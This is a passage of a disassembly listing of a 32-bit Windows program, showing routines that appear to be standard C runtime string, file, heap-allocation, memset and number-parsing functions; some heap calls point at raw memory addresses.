		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD3A4
		call	near ptr 2810000h
		nop


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD3A0
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 2820000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		call	near ptr 28C0000h
		nop
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE58, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE84
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 2820000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		call	near ptr 28C0000h
		nop
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE58, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE58, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE58
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD3A8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD3A0
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE84
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD3A4
		call	near ptr 2820000h
		nop


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D094, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D094, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE2C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE34, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		nop
		call	near ptr 27605BEh
		push	eax
		nop
		call	near ptr 27509CEh


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
